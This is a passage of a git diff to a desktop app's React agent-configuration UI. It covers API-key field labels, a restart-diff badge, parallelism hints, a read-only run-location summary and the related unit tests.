+      selectedRuntime?.maxParallelism === undefined ||
+      behaviorDraft.parallelism === ""
+    ) {
+      return null;
+    }
+    const requested = parseInt(behaviorDraft.parallelism, 10);
+    if (Number.isNaN(requested)) return null;
+    return parallelismCapHint(
+      selectedRuntime.label,
+      selectedRuntime.maxParallelism,
+      requested,
+    );
+  }, [selectedRuntime, behaviorDraft.parallelism]);
+
   return (
     <div className="space-y-5 pt-2">
       <CreateAgentRespondToField
-        allowlist={behaviorDraft.respondToAllowlist}
-        disabled={disabled}
-        mode={behaviorDraft.respondTo ?? "owner-only"}
+        allowlist={agentAccessOwnerOnly ? [] : behaviorDraft.respondToAllowlist}
+        disabled={disabled || agentAccessOwnerOnly}
+        disabledReason={
+          agentAccessOwnerOnly ? OWNER_ONLY_ACCESS_DISABLED_REASON : undefined
+        }
+        mode={respondToMode}
         onAllowlistChange={(allowlist) =>
           onBehaviorDraftChange({
             ...behaviorDraft,
@@ -82,7 +170,7 @@ export function PersonaAdvancedFields({
           >
             <Input
               className={cn(
-                "h-8 px-0 py-0 leading-6",
+                "h-8 px-0 py-0 leading-6 [appearance:textfield] [&::-webkit-inner-spin-button]:appearance-none [&::-webkit-outer-spin-button]:appearance-none",
                 PERSONA_FIELD_CONTROL_CLASS,
               )}
               disabled={disabled}
@@ -96,14 +184,19 @@ export function PersonaAdvancedFields({
                   parallelism: event.target.value,
                 })
               }
-              placeholder="1"
+              placeholder={AGENT_PARALLELISM_PLACEHOLDER}
               type="number"
               value={behaviorDraft.parallelism}
             />
           </div>
           <p className="text-xs text-muted-foreground">
-            How many conversations each running instance handles at once (1–32).
+            {AGENT_PARALLELISM_HELP}
           </p>
+          {personaParallelismHint !== null ? (
+            <p className="text-xs text-amber-600 dark:text-amber-400">
+              {personaParallelismHint}
+            </p>
+          ) : null}
         </div>
       </div>
 
@@ -141,13 +234,33 @@ export function PersonaAdvancedFields({
       <EnvVarsEditor
         disabled={disabled}
         fileSatisfiedKeys={fileSatisfiedEnvKeys}
-        hiddenKeys={hiddenEnvKeys}
+        hiddenKeys={effectiveHiddenKeys}
+        keyAnnotations={CARD_MINT_KEY_ANNOTATIONS}
         onChange={onEnvVarsChange}
         requiredKeys={requiredEnvKeys}
         value={envVars}
       />
 
-      {/* Tier-1 buzz-agent model-tuning knobs — only shown for buzz-agent. */}
+      {/* Descriptor-driven numeric tuning knobs — shown when catalog has settled
+          and the runtime exposes numeric env-var fields. */}
+      {numericDescriptors.length > 0 ? (
+        <NumericTuningFields
+          descriptors={numericDescriptors}
+          envVars={envVars}
+          inheritedEnvVars={inheritedEnvVars}
+          onEnvVarChange={(key, value) => {
+            const next = { ...envVars };
+            if (value === "") {
+              delete next[key];
+            } else {
+              next[key] = value;
+            }
+            onEnvVarsChange(next);
+          }}
+        />
+      ) : null}
+
+      {/* Effort-tuning knob — only shown for buzz-agent. */}
       {isBuzzAgentRuntime(modelTuningRuntimeId) ? (
         <BuzzAgentModelTuningFields
           envVars={envVars}
diff --git a/desktop/src/features/agents/ui/PersonaProviderApiKeyField.test.mjs b/desktop/src/features/agents/ui/PersonaProviderApiKeyField.test.mjs
new file mode 100644
index 0000000000..62a6ff416c
--- /dev/null
+++ b/desktop/src/features/agents/ui/PersonaProviderApiKeyField.test.mjs
@@ -0,0 +1,170 @@
+/**
+ * Behavioral tests for PersonaProviderApiKeyField.
+ *
+ * Tests the rendering invariants that matter for the disambiguation story:
+ * - semantic label is present in the rendered output
+ * - envVarName hint is rendered when the prop is present
+ * - hint id is wired to the input via aria-describedby
+ * - hint is absent when envVarName is omitted
+ * - two simultaneous instances produce unique IDs (no duplicate-ID collision
+ *   in the nested AgentInstanceEditDialog + AgentDefaultsDialog path)
+ */
+
+import assert from "node:assert/strict";
+import { test } from "node:test";
+
+import React from "react";
+import { renderToStaticMarkup } from "react-dom/server";
+
+import { PersonaProviderApiKeyField } from "./PersonaProviderApiKeyField.tsx";
+
+function makeProps(overrides = {}) {
+  return {
+    disabled: false,
+    isInherited: false,
+    inheritedLabel: "Set in global defaults",
+    isRequired: false,
+    label: "OpenAI Runtime API Key",
+    onValueChange: () => {},
+    value: "",
+    ...overrides,
+  };
+}
+
+/** Extract the value of the first attribute matching `name="..."` in html. */
+function extractAttr(html, attrName) {
+  const re = new RegExp(`${attrName}="([^"]+)"`);
+  const m = re.exec(html);
+  return m ? m[1] : null;
+}
+
+/** Extract ALL values of an attribute from html, in document order. */
+function extractAllAttrs(html, attrName) {
+  const re = new RegExp(`${attrName}="([^"]+)"`, "g");
+  return Array.from(html.matchAll(re), (m) => m[1]);
+}
+
+test("PersonaProviderApiKeyField_renders_semantic_label", () => {
+  const html = renderToStaticMarkup(
+    React.createElement(PersonaProviderApiKeyField, makeProps()),
+  );
+  assert.ok(
+    html.includes("OpenAI Runtime API Key"),
+    "semantic label must appear in rendered output",
+  );
+});
+
+test("PersonaProviderApiKeyField_renders_env_var_hint_when_envVarName_present", () => {
+  const html = renderToStaticMarkup(
+    React.createElement(
+      PersonaProviderApiKeyField,
+      makeProps({ envVarName: "OPENAI_COMPAT_API_KEY" }),
+    ),
+  );
+  assert.ok(
+    html.includes("OPENAI_COMPAT_API_KEY"),
+    "env-var hint must appear when envVarName is provided",
+  );
+});
+
+test("PersonaProviderApiKeyField_wires_hint_id_via_aria_describedby", () => {
+  const html = renderToStaticMarkup(
+    React.createElement(
+      PersonaProviderApiKeyField,
+      makeProps({ envVarName: "OPENAI_COMPAT_API_KEY" }),
+    ),
+  );
+  // Extract the dynamically-generated hint id from the rendered paragraph.
+  const hintId = extractAttr(html, "id");
+  assert.ok(hintId, "hint paragraph must have an id");
+  assert.ok(
+    hintId.startsWith("persona-provider-api-key-hint-"),
+    `hint id must follow the expected prefix, got: ${hintId}`,
+  );
+  // The input's aria-describedby must point at the same id.
+  const describedBy = extractAttr(html, "aria-describedby");
+  assert.equal(
+    describedBy,
+    hintId,
+    "input aria-describedby must reference the hint's id",
+  );
+});
+
+test("PersonaProviderApiKeyField_omits_hint_when_envVarName_absent", () => {
+  const html = renderToStaticMarkup(
+    React.createElement(PersonaProviderApiKeyField, makeProps()),
+  );
+  assert.ok(
+    !html.includes("aria-describedby"),
+    "no aria-describedby when envVarName is omitted",
+  );
+  assert.ok(
+    !html.includes("persona-provider-api-key-hint"),
+    "hint id must not appear when envVarName is omitted",
+  );
+});
+
+test("PersonaProviderApiKeyField_two_instances_have_unique_ids_and_each_aria_describedby_resolves_to_own_hint", () => {
+  // Render BOTH instances in a single renderToStaticMarkup call — this
+  // mirrors the real nested-dialog DOM where AgentInstanceEditDialog's
+  // credential field and the nested AgentDefaultsDialog's field are
+  // simultaneously mounted under the same React root. A shared root is what
+  // makes React.useId() guarantee uniqueness; two separate renderToStaticMarkup
+  // calls each reset the counter and would produce the same ID.
+  const combined = renderToStaticMarkup(
+    React.createElement(
+      React.Fragment,
+      null,
+      React.createElement(
+        PersonaProviderApiKeyField,
+        makeProps({
+          label: "Anthropic API Key",
+          envVarName: "ANTHROPIC_API_KEY",
+        }),
+      ),
+      React.createElement(
+        PersonaProviderApiKeyField,
+        makeProps({
+          label: "OpenAI Runtime API Key",
+          envVarName: "OPENAI_COMPAT_API_KEY",
+        }),
+      ),
+    ),
+  );
+
+  // Two hint paragraph ids must be present and distinct.
+  const allHintIds = extractAllAttrs(combined, "id").filter((id) =>
+    id.startsWith("persona-provider-api-key-hint-"),
+  );
+  assert.equal(allHintIds.length, 2, "exactly two hint ids must be present");
+  const [hintIdA, hintIdB] = allHintIds;
+  assert.notEqual(hintIdA, hintIdB, "two instances must not share a hint id");
+
+  // Each input's aria-describedby must match its own hint id (same order).
+  const allDescribedBy = extractAllAttrs(combined, "aria-describedby");
+  assert.equal(
+    allDescribedBy.length,
+    2,
+    "exactly two aria-describedby attributes must be present",
+  );
+  assert.equal(
+    allDescribedBy[0],
+    hintIdA,
+    "instance A: aria-describedby must reference instance A's own hint",
+  );
+  assert.equal(
+    allDescribedBy[1],
+    hintIdB,
+    "instance B: aria-describedby must reference instance B's own hint",
+  );
+
+  // Confirm each instance names its own env var in the rendered output.
+  assert.ok(
+    combined.includes("ANTHROPIC_API_KEY"),
+    "combined output must name ANTHROPIC_API_KEY",
+  );
+  assert.ok(
+    combined.includes("OPENAI_COMPAT_API_KEY"),
+    "combined output must name OPENAI_COMPAT_API_KEY",
+  );
+});
diff --git a/desktop/src/features/agents/ui/PersonaProviderApiKeyField.tsx b/desktop/src/features/agents/ui/PersonaProviderApiKeyField.tsx
index 17f9e2e826..2be1f1c28d 100644
--- a/desktop/src/features/agents/ui/PersonaProviderApiKeyField.tsx
+++ b/desktop/src/features/agents/ui/PersonaProviderApiKeyField.tsx
@@ -25,6 +25,7 @@ import {
  */
 export function PersonaProviderApiKeyField({
   disabled,
+  envVarName,
   isInherited,
   inheritedLabel,
   isRequired,
@@ -33,6 +34,13 @@ export function PersonaProviderApiKeyField({
   value,
 }: {
   disabled: boolean;
+  /**
+   * The backing environment variable name, e.g. `OPENAI_COMPAT_API_KEY`.
+   * Rendered as a monospace hint beneath the label so users can distinguish
+   * this field from other keys with similar names (e.g. `OPENAI_API_KEY`).
+   * When present, the input's `aria-describedby` points at the hint element.
+   */
+  envVarName?: string;
   /** True when the key is satisfied by an inherited layer. */
   isInherited: boolean;
   /** Human-readable source of the inherited value. */
@@ -46,13 +54,22 @@ export function PersonaProviderApiKeyField({
   value: string;
 }) {
   const [showValue, setShowValue] = React.useState(false);
-  const inputId = "persona-provider-api-key";
+  const uid = React.useId();
+  const inputId = `persona-provider-api-key-${uid}`;
+  const hintId = envVarName
+    ? `persona-provider-api-key-hint-${uid}`
+    : undefined;
 
   return (
     <div className="space-y-1.5">
       <RequiredFieldLabel htmlFor={inputId} isRequired={isRequired}>
         {label}
       </RequiredFieldLabel>
+      {envVarName ? (
+        <p className="text-xs text-muted-foreground font-mono" id={hintId}>
+          {envVarName}
+        </p>
+      ) : null}
       <div
         className={cn(
           "flex min-h-11 items-center gap-2 px-3",
@@ -60,6 +77,7 @@ export function PersonaProviderApiKeyField({
         )}
       >
         <Input
+          aria-describedby={hintId}
           autoComplete="off"
           className={cn(
             "h-8 flex-1 px-0 py-0 leading-6",
diff --git a/desktop/src/features/agents/ui/ProviderConfigFields.test.mjs b/desktop/src/features/agents/ui/ProviderConfigFields.test.mjs
new file mode 100644
index 0000000000..0dfd80d444
--- /dev/null
+++ b/desktop/src/features/agents/ui/ProviderConfigFields.test.mjs
@@ -0,0 +1,31 @@
+import assert from "node:assert/strict";
+import { describe, it } from "node:test";
+
+import { coerceConfigValues } from "./ProviderConfigFields.tsx";
+
+const schema = {
+  properties: {
+    inactivity_seconds: { type: "integer" },
+    threshold: { type: "number" },
+    label: { type: "string" },
+  },
+};
+
+describe("coerceConfigValues", () => {
+  it("omits cleared numeric fields without losing explicit zero", () => {
+    assert.deepEqual(
+      coerceConfigValues(
+        { inactivity_seconds: "", threshold: "0", label: "" },
+        schema,
+      ),
+      { threshold: 0, label: "" },
+    );
+  });
+
+  it("preserves nonempty invalid numeric input for provider validation", () => {
+    assert.deepEqual(
+      coerceConfigValues({ inactivity_seconds: "not-a-number" }, schema),
+      { inactivity_seconds: "not-a-number" },
+    );
+  });
+});
diff --git a/desktop/src/features/agents/ui/ProviderConfigFields.tsx b/desktop/src/features/agents/ui/ProviderConfigFields.tsx
index e922dd9c1a..031b0b7277 100644
--- a/desktop/src/features/agents/ui/ProviderConfigFields.tsx
+++ b/desktop/src/features/agents/ui/ProviderConfigFields.tsx
@@ -14,7 +14,8 @@ export function coerceConfigValues(
   for (const [key, value] of Object.entries(config)) {
     const prop = properties[key] as Record<string, unknown> | undefined;
     const schemaType = prop?.type;
-    if ((schemaType === "integer" || schemaType === "number") && value !== "") {
+    if (schemaType === "integer" || schemaType === "number") {
+      if (value === "") continue;
       const num = Number(value);
       result[key] = Number.isNaN(num) ? value : num;
     } else if (schemaType === "boolean") {
diff --git a/desktop/src/features/agents/ui/RequestedAgentCreateDialogs.tsx b/desktop/src/features/agents/ui/RequestedAgentCreateDialogs.tsx
index ee800b5cb5..966e2e5d0f 100644
--- a/desktop/src/features/agents/ui/RequestedAgentCreateDialogs.tsx
+++ b/desktop/src/features/agents/ui/RequestedAgentCreateDialogs.tsx
@@ -55,7 +55,13 @@ export function RequestedAgentCreateDialogs() {
             personas.handleSubmit(input, intent, backendIntent, targetChannel)
           }
           runtimes={personas.acpRuntimesQuery.data ?? []}
-          runtimesLoading={personas.acpRuntimesQuery.isLoading}
+          runtimeCatalogStatus={
+            personas.acpRuntimesQuery.isLoading
+              ? "loading"
+              : personas.acpRuntimesQuery.isError
+                ? "error"
+                : "ready"
+          }
         />
       ) : null}
       {personas.createdAgent ? (
diff --git a/desktop/src/features/agents/ui/RespondToField.tsx b/desktop/src/features/agents/ui/RespondToField.tsx
index b32b9e0983..589d4c8c7a 100644
--- a/desktop/src/features/agents/ui/RespondToField.tsx
+++ b/desktop/src/features/agents/ui/RespondToField.tsx
@@ -39,6 +39,12 @@ import type { PersonaDropdownOption } from "./agentConfigOptions";
  * than an explanation, and stays one sentence — Only me already owns the line
  * below the control.
  *
+ * The line below Only me says "Only you and your agents", because the harness
+ * gate admits the owner and every verified same-owner agent, not the owner
+ * alone (see `managed_agents/access_policy.rs`). The dropdown label stays
+ * "Only me": it is the audience the user picks, and it has meant this since
+ * before agents could instruct each other.
+ *
  * Which machine and stakes it names follow the optional `runLocation` prop, and
  * an unknown location falls back to the local wording rather than hedging with
  * "computer or server" — see `lib/agentAccessWarning.ts` for the copy and the
@@ -72,6 +78,9 @@ const RESPOND_TO_OPTIONS: PersonaDropdownOption[] = [
   { label: "Selected people", value: "allowlist" },
 ];
 
+export const OWNER_ONLY_ACCESS_DISABLED_REASON =
+  "This build disallows changing this setting.";
+
 export function CreateAgentRespondToField({
   mode,
   allowlist,
@@ -79,6 +88,7 @@ export function CreateAgentRespondToField({
   onAllowlistChange,
   ownerPubkey,
   disabled,
+  disabledReason,
   variant,
   runLocation,
 }: {
@@ -93,6 +103,8 @@ export function CreateAgentRespondToField({
    */
   ownerPubkey?: string | null;
   disabled?: boolean;
+  /** Explanation shown when this access control is unavailable. */
+  disabledReason?: string;
   /** When "persona", uses PersonaDropdownField styling to match the persona dialog. */
   variant?: "default" | "persona";
   /**
@@ -219,10 +231,18 @@ export function CreateAgentRespondToField({
           ))}
         </select>
       )}
+      {disabledReason ? (
+        <p
+          className="text-xs text-muted-foreground"
+          data-testid="agent-respond-to-disabled-reason"
+        >
+          {disabledReason}
+        </p>
+      ) : null}
       {mode === "anyone" ? accessWarning : null}
       {mode === "owner-only" ? (
         <p className="text-xs text-muted-foreground">
-          Only you can send instructions.
+          Only you and your agents can send instructions.
         </p>
       ) : null}
       {mode === "allowlist" ? (
diff --git a/desktop/src/features/agents/ui/RestartDiffBadge.tsx b/desktop/src/features/agents/ui/RestartDiffBadge.tsx
new file mode 100644
index 0000000000..1bdb781226
--- /dev/null
+++ b/desktop/src/features/agents/ui/RestartDiffBadge.tsx
@@ -0,0 +1,209 @@
+import { RefreshCw } from "lucide-react";
+
+import { Badge } from "@/shared/ui/badge";
+import { Tooltip, TooltipContent, TooltipTrigger } from "@/shared/ui/tooltip";
+import type { RestartDiffEntry, RestartChange } from "@/shared/api/types";
+import { cn } from "@/shared/lib/cn";
+
+// ── Auto-restart copy ─────────────────────────────────────────────────────────
+
+/**
+ * Shared blurb strings for the auto-restart state. Exported so the Runtime-tab
+ * banner can import the same constants — the two surfaces must never drift.
+ */
+export const AUTO_RESTART_ON_BLURB =
+  "Configuration changed since this agent started. Buzz can restart it automatically after ~3 minutes idle, or stop and respawn it to apply now.";
+
+export const AUTO_RESTART_OFF_BLURB =
+  "Configuration changed since this agent started. Automatic restart is off for this agent — stop and respawn it to apply the changes.";
+
+// ── Label helpers ─────────────────────────────────────────────────────────────
+
+/**
+ * Humanise a serde dotted-path field id into a display label.
+ * `snake_case` → `"Snake case"`, `env.FOO` → `"FOO (env)"`.
+ * Unknown paths render as-is — no per-field label map.
+ */
+function humaniseFieldId(field: string): string {
+  if (field.startsWith("env.")) {
+    const key = field.slice(4);
+    return `${key} (env)`;
+  }
+  // snake_case → words, sentence case
+  return field.replace(/_/g, " ").replace(/\b\w/, (c) => c.toUpperCase());
+}
+
+// ── Change description ────────────────────────────────────────────────────────
+
+function formatJsonValue(v: unknown): string {
+  if (v === null) return "null";
+  if (v === undefined) return "—";
+  if (typeof v === "string") return v;
+  return JSON.stringify(v);
+}
+
+function ChangeDescription({ change }: { change: RestartChange }) {
+  switch (change.kind) {
+    case "value":
+      return (
+        <span>
+          <span className="line-through opacity-60">
+            {formatJsonValue(change.before)}
+          </span>
+          {" → "}
+          <span>{formatJsonValue(change.after)}</span>
+        </span>
+      );
+    case "text": {
+      const before = change.before_chars ?? 0;
+      const after = change.after_chars ?? 0;
+      return (
+        <span>
+          {before} chars → {after} chars
+        </span>
+      );
+    }
+    case "masked":
+      return (
+        <span>
+          <span className="line-through opacity-60">
+            {change.before ?? "••••"}
+          </span>
+          {" → "}
+          <span>{change.after ?? "••••"}</span>
+        </span>
+      );
+    case "added":
+      return <span>added</span>;
+    case "removed":
+      return <span>removed</span>;
+    default:
+      // Unknown kind — render nothing, remain type-safe at runtime
+      return null;
+  }
+}
+
+// ── Diff list ─────────────────────────────────────────────────────────────────
+
+const TOOLTIP_CAP = 6;
+
+/**
+ * `tooltip` — renders inside the dark `bg-primary` tooltip; uses
+ *   `text-primary-foreground` variants for contrast there.
+ * `inline`  — renders inside the amber Runtime banner or other light
+ *   surfaces; inherits foreground from the container instead.
+ */
+function DiffList({
+  entries,
+  cap,
+  variant = "tooltip",
+}: {
+  entries: RestartDiffEntry[];
+  cap?: number;
+  variant?: "tooltip" | "inline";
+}) {
+  const visible = cap !== undefined ? entries.slice(0, cap) : entries;
+  const overflow =
+    cap !== undefined && entries.length > cap ? entries.length - cap : 0;
+
+  const valueClass =
+    variant === "tooltip" ? "text-primary-foreground/80" : "text-foreground";
+  const overflowClass =
+    variant === "tooltip"
+      ? "text-primary-foreground/60"
+      : "text-muted-foreground";
+
+  return (
+    <ul className="space-y-1">
+      {visible.map((entry) => (
+        <li className="flex items-baseline gap-1.5" key={entry.field}>
+          <span className="shrink-0 font-medium">
+            {humaniseFieldId(entry.field)}:
+          </span>
+          <span className={valueClass}>
+            <ChangeDescription change={entry.change} />
+          </span>
+        </li>
+      ))}
+      {overflow > 0 ? (
+        <li className={overflowClass}>and {overflow} more</li>
+      ) : null}
+    </ul>
+  );
+}
+
+// ── Badge + tooltip ───────────────────────────────────────────────────────────
+
+/**
+ * The restart-required badge. When `restartDiff` is non-empty, shows a hover
+ * tooltip with the itemised before→after diff (capped at {@link TOOLTIP_CAP}
+ * entries) plus the auto-restart blurb. Renders as a non-interactive `<span>`
+ * so it can safely be placed adjacent to (not inside) a `<button>` — it must
+ * never be a descendant of an interactive element.
+ */
+export function RestartDiffBadge({
+  autoRestartEnabled = false,
+  restartDiff,
+  className,
+}: {
+  autoRestartEnabled?: boolean;
+  restartDiff: RestartDiffEntry[];
+  className?: string;
+}) {
+  const badge = (
+    <Badge className={cn("cursor-default gap-1", className)} variant="warning">
+      <RefreshCw className="h-3 w-3" />
+      Restart required
+    </Badge>
+  );
+
+  if (restartDiff.length === 0) {
+    // No diff data — render plain badge without tooltip.
+    return badge;
+  }
+
+  return (
+    <Tooltip>
+      {/* asChild renders the trigger as the Badge's <span>, which is a valid
+          non-interactive element. No nested button. */}
+      <TooltipTrigger asChild>
+        <Badge
+          className={cn("cursor-default gap-1", className)}
+          variant="warning"
+          tabIndex={0}
+          data-testid="restart-diff-badge"
+        >
+          <RefreshCw className="h-3 w-3" />
+          Restart required
+        </Badge>
+      </TooltipTrigger>
+      <TooltipContent className="max-w-72 text-xs" side="bottom">
+        <p className="mb-1.5 font-semibold">Config changed since last start:</p>
+        <DiffList cap={TOOLTIP_CAP} entries={restartDiff} />
+        <p className="mt-1.5 text-primary-foreground/70">
+          {autoRestartEnabled ? AUTO_RESTART_ON_BLURB : AUTO_RESTART_OFF_BLURB}
+        </p>
+      </TooltipContent>
+    </Tooltip>
+  );
+}
+
+/**
+ * Full uncapped diff list for the Runtime-tab banner. Renders inline; no
+ * tooltip wrapper.
+ */
+export function RestartDiffList({
+  restartDiff,
+}: {
+  restartDiff: RestartDiffEntry[];
+}) {
+  if (restartDiff.length === 0) return null;
+  return (
+    <div
+      className="mt-2 text-xs text-muted-foreground"
+      data-testid="restart-diff-list"
+    >
+      <DiffList entries={restartDiff} variant="inline" />
+    </div>
+  );
+}
diff --git a/desktop/src/features/agents/ui/RunOnSummarySection.tsx b/desktop/src/features/agents/ui/RunOnSummarySection.tsx
new file mode 100644
index 0000000000..d3d2f30381
--- /dev/null
+++ b/desktop/src/features/agents/ui/RunOnSummarySection.tsx
@@ -0,0 +1,73 @@
+import type { ManagedAgentBackend } from "@/shared/api/types";
+
+import { summarizeRunOn } from "./runOnSummary";
+
+/**
+ * Read-only "Run on" summary for the edit-agent dialog.
+ *
+ * Read-only on purpose: `UpdateManagedAgentRequest` has no backend field —
+ * where an agent runs is fixed at creation (a provider-backed agent's
+ * deployment holds its private key; there is no migrate operation). This
+ * section shows the *saved* provider config from the record, without probing
+ * the provider binary: an edit dialog must not do executable work as a side
+ * effect, and a live probe would show today's schema defaults instead of
+ * what this agent actually deployed with.
+ *
+ * Named "Run on" (matching the create flow) rather than "Provider" because
+ * this dialog already uses "Provider" for the ACP harness selector.
+ */
+export function RunOnSummarySection({
+  backend,
+}: {
+  backend: ManagedAgentBackend;
+}) {
+  const summary = summarizeRunOn(backend);
+
+  return (
+    <div className="space-y-1.5" data-testid="edit-agent-run-on">
+      <span className="text-sm font-medium text-foreground">Run on</span>
+      {summary.location === "local" ? (
+        <p
+          className="text-sm text-muted-foreground"
+          data-testid="edit-agent-run-on-location"
+        >
+          This computer
+        </p>
+      ) : (
+        <div className="space-y-2 rounded-2xl border border-border bg-muted/30 px-4 py-3">
+          <p
+            className="text-sm font-medium"
+            data-testid="edit-agent-run-on-location"
+          >
+            {summary.providerId}
+          </p>
+          {summary.rows.length > 0 ? (
+            <dl className="space-y-1">
+              {summary.rows.map((row) => (
+                <div
+                  className="flex flex-wrap items-baseline gap-x-3 gap-y-0.5"
+                  data-testid={`edit-agent-run-on-${row.key}`}
+                  key={row.key}
+                >
+                  <dt className="text-xs text-muted-foreground">{row.label}</dt>
+                  <dd className="min-w-0 break-all font-mono text-xs text-foreground">
+                    {row.value}
+                  </dd>
+                </div>
+              ))}
+            </dl>
+          ) : (
+            <p className="text-xs text-muted-foreground">
+              No saved settings — the provider applies its defaults.
+            </p>
+          )}
+        </div>
+      )}
+      <p className="text-xs text-muted-foreground">
+        These are the settings saved when the agent was created. Where an agent
+        runs can&apos;t be changed afterwards — create a new agent to run
+        somewhere else.
+      </p>
+    </div>
+  );
+}
diff --git a/desktop/src/features/agents/ui/UnifiedAgentsSection.tsx b/desktop/src/features/agents/ui/UnifiedAgentsSection.tsx
index 19a5ef1171..cf39b0859e 100644
--- a/desktop/src/features/agents/ui/UnifiedAgentsSection.tsx
+++ b/desktop/src/features/agents/ui/UnifiedAgentsSection.tsx
@@ -1,10 +1,5 @@
 import * as React from "react";
-import {
-  AlertTriangle,
-  ChevronDown,
-  ChevronRight,
-  RefreshCw,
-} from "lucide-react";
+import { AlertTriangle, ChevronDown, ChevronRight } from "lucide-react";
 
 import { resolveAgentCardModelLabel } from "@/features/agents/lib/agentCardModelLabel";
 import { friendlyAgentLastError } from "@/features/agents/lib/friendlyAgentLastError";
@@ -15,6 +10,7 @@ import type { ProfilePanelOpenOptions } from "@/shared/context/ProfilePanelConte
 import { useFeedbackToasts } from "@/shared/hooks/useToastEffect";
 import { useFileImportZone } from "@/shared/hooks/useFileImportZone";
 import { Badge } from "@/shared/ui/badge";
+import { RestartDiffBadge } from "./RestartDiffBadge";
 import {
   DropdownMenu,
   DropdownMenuContent,
@@ -344,10 +340,10 @@ function AgentPersonaCard({
             Configuration missing
           </Badge>
         ) : agent?.needsRestart ? (
-          <Badge className="gap-1" variant="warning">
-            <RefreshCw className="h-3 w-3" />
-            Restart required
-          </Badge>
+          <RestartDiffBadge
+            autoRestartEnabled={agent.autoRestartOnConfigChange}
+            restartDiff={agent.restartDiff}
+          />
         ) : null
       }
     />
@@ -419,10 +415,10 @@ function StandaloneAgentCard({
             Configuration missing
           </Badge>
         ) : agent.needsRestart ? (
-          <Badge className="gap-1" variant="warning">
-            <RefreshCw className="h-3 w-3" />
-            Restart required
-          </Badge>
+          <RestartDiffBadge
+            autoRestartEnabled={agent.autoRestartOnConfigChange}
+            restartDiff={agent.restartDiff}
+          />
         ) : null
       }
     />
diff --git a/desktop/src/features/agents/ui/WhereToRunSection.tsx b/desktop/src/features/agents/ui/WhereToRunSection.tsx
index f068eceec8..ee9ec37132 100644
--- a/desktop/src/features/agents/ui/WhereToRunSection.tsx
+++ b/desktop/src/features/agents/ui/WhereToRunSection.tsx
@@ -5,7 +5,11 @@ import { useBackendProvidersQuery } from "@/features/agents/hooks";
 import { probeBackendProvider } from "@/shared/api/tauri";
 
 import { ProviderConfigFields } from "./ProviderConfigFields";
-import { emptyWhereToRunDraft, type WhereToRunDraft } from "./whereToRunIntent";
+import {
+  applyProbeResult,
+  emptyWhereToRunDraft,
+  type WhereToRunDraft,
+} from "./whereToRunIntent";
 
 /** Optional remote-backend selector. Buzz shared compute is an LLM provider, not a run destination. */
 export function WhereToRunSection({
@@ -26,32 +30,37 @@ export function WhereToRunSection({
     [backendProviders, draft.runOn],
   );
 
+  // Latest-state seam for probe resolution: an Effect Event always sees the
+  // draft as it is *now*. Without this, the probe promise closes over the
+  // draft from probe start, and anything typed while the probe was in flight
+  // gets thrown away when it resolves (a second, subtler Typewriter Eraser).
+  const applyProbe = React.useEffectEvent(
+    (result: Awaited<ReturnType<typeof probeBackendProvider>>) => {
+      onDraftChange(applyProbeResult(draft, result));
+    },
+  );
+
+  // Probe once per provider *selection*, keyed on the provider's stable
+  // path — never on the draft. Depending on the draft made every keystroke
+  // refire the probe, and each resolution reset providerConfig to schema
+  // defaults, which erased what the user was typing (the Typewriter Eraser)
+  // and spawned the provider binary in a loop for as long as the dialog was
+  // open. Keying on the path (not the provider object) also keeps a
+  // providers-query refresh from reprobing an unchanged selection.
+  const selectedBinaryPath = isProviderMode
+    ? (selectedBackendProvider?.binaryPath ?? null)
+    : null;
   React.useEffect(() => {
-    if (!isProviderMode || !selectedBackendProvider) {
+    if (!selectedBinaryPath) {
       setProbeError(null);
       return;
     }
     let cancelled = false;
     setProbeError(null);
-    void probeBackendProvider(selectedBackendProvider.binaryPath)
+    void probeBackendProvider(selectedBinaryPath)
       .then((result) => {
         if (cancelled) return;
-        const defaults: Record<string, string> = {};
-        const properties =
-          (result.config_schema as Record<string, unknown> | undefined)
-            ?.properties ?? {};
-        for (const [key, property] of Object.entries(properties) as [
-          string,
-          Record<string, unknown>,
-        ][]) {
-          if (property.default != null)
-            defaults[key] = String(property.default);
-        }
-        onDraftChange({
-          ...draft,
-          probedProvider: result,
-          providerConfig: defaults,
-        });
+        applyProbe(result);
       })
       .catch((error: unknown) => {
         if (!cancelled) {
@@ -61,7 +70,7 @@ export function WhereToRunSection({
     return () => {
       cancelled = true;
     };
-  }, [draft, isProviderMode, onDraftChange, selectedBackendProvider]);
+  }, [selectedBinaryPath]);
 
   if (backendProviders.length === 0) return null;
 
diff --git a/desktop/src/features/agents/ui/agentConfigOptions.test.mjs b/desktop/src/features/agents/ui/agentConfigOptions.test.mjs
index d0690cefc3..eb24d88084 100644
--- a/desktop/src/features/agents/ui/agentConfigOptions.test.mjs
+++ b/desktop/src/features/agents/ui/agentConfigOptions.test.mjs
@@ -5,6 +5,7 @@ import {
   getDefaultPersonaRuntime,
   getPersonaModelOptions,
   getPersonaProviderOptions,
+  getProviderApiKeyLabel,
   resetConfigForHarnessChange,
   runtimeSupportsLlmProviderSelection,
 } from "./agentConfigOptions.tsx";
@@ -246,3 +247,50 @@ test("formatModelDiscoveryErrorStatus returns a non-null status for runtime unav
     assert.ok(typeof status?.tone === "string", "status has a tone");
   }
 });
+
+// ── getProviderApiKeyLabel — provider-accurate credential field labels ────────
+//
+// Each provider with a secretEnvVar must have a distinct label. The helper
+// is the single source of truth used by all three credential field surfaces;
+// if it regresses the field labels diverge silently and the OpenRouter / compat
+// mislabeling recurs.
+
+test("getProviderApiKeyLabel_anthropic_returns_anthropic_label", () => {
+  assert.equal(getProviderApiKeyLabel("anthropic"), "Anthropic API Key");
+});
+
+test("getProviderApiKeyLabel_openai_returns_openai_runtime_label", () => {
+  assert.equal(getProviderApiKeyLabel("openai"), "OpenAI Runtime API Key");
+});
+
+test("getProviderApiKeyLabel_openai_compat_returns_distinct_label", () => {
+  // openai and openai-compat must have distinct labels — both use
+  // OPENAI_COMPAT_API_KEY but carry different semantic identities.
+  assert.equal(
+    getProviderApiKeyLabel("openai-compat"),
+    "OpenAI-compatible Runtime API Key",
+  );
+});
+
+test("getProviderApiKeyLabel_openrouter_returns_openrouter_label", () => {
+  // Key fix: OpenRouter was mislabeled "OpenAI API Key" before this change.
+  assert.equal(getProviderApiKeyLabel("openrouter"), "OpenRouter API Key");
+});
+
+test("getProviderApiKeyLabel_databricks_returns_null", () => {
+  // Databricks uses OAuth PKCE — no typed-secret label.
+  assert.equal(getProviderApiKeyLabel("databricks"), null);
+});
+
+test("getProviderApiKeyLabel_databricks_v2_returns_null", () => {
+  assert.equal(getProviderApiKeyLabel("databricks_v2"), null);
+});
+
+test("getProviderApiKeyLabel_unknown_provider_returns_null", () => {
